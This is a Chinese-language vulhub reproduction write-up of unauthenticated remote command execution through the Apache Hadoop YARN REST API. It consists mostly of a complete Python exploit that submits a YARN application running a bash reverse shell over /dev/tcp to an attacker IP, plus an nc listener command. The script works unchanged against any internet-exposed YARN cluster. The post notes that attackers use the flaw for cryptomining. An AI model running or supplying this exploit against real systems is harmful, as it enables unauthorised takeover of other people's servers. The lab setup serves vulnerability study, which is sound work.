Hadoop 未授权访问 getshell

漏洞概述

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

受影响范围

Apache Hadoop YARN资源管理系统

环境搭建

cd /vulhub/hadoop/unauthorized-yarn
docker-compose up -d

Hadoop 未授权访问 getshell_第1张图片
环境搭建成功,未授权访问到页面
Hadoop 未授权访问 getshell_第2张图片

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = 'x.x.x.x' # 修改lhost反弹shell的IP

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

nc -lvvp 9999 #监听本地端口9999
运行exp python exploit.py
获取shell
Hadoop 未授权访问 getshell_第3张图片

你可能感兴趣的:(漏洞复现,hadoop,big,data,大数据)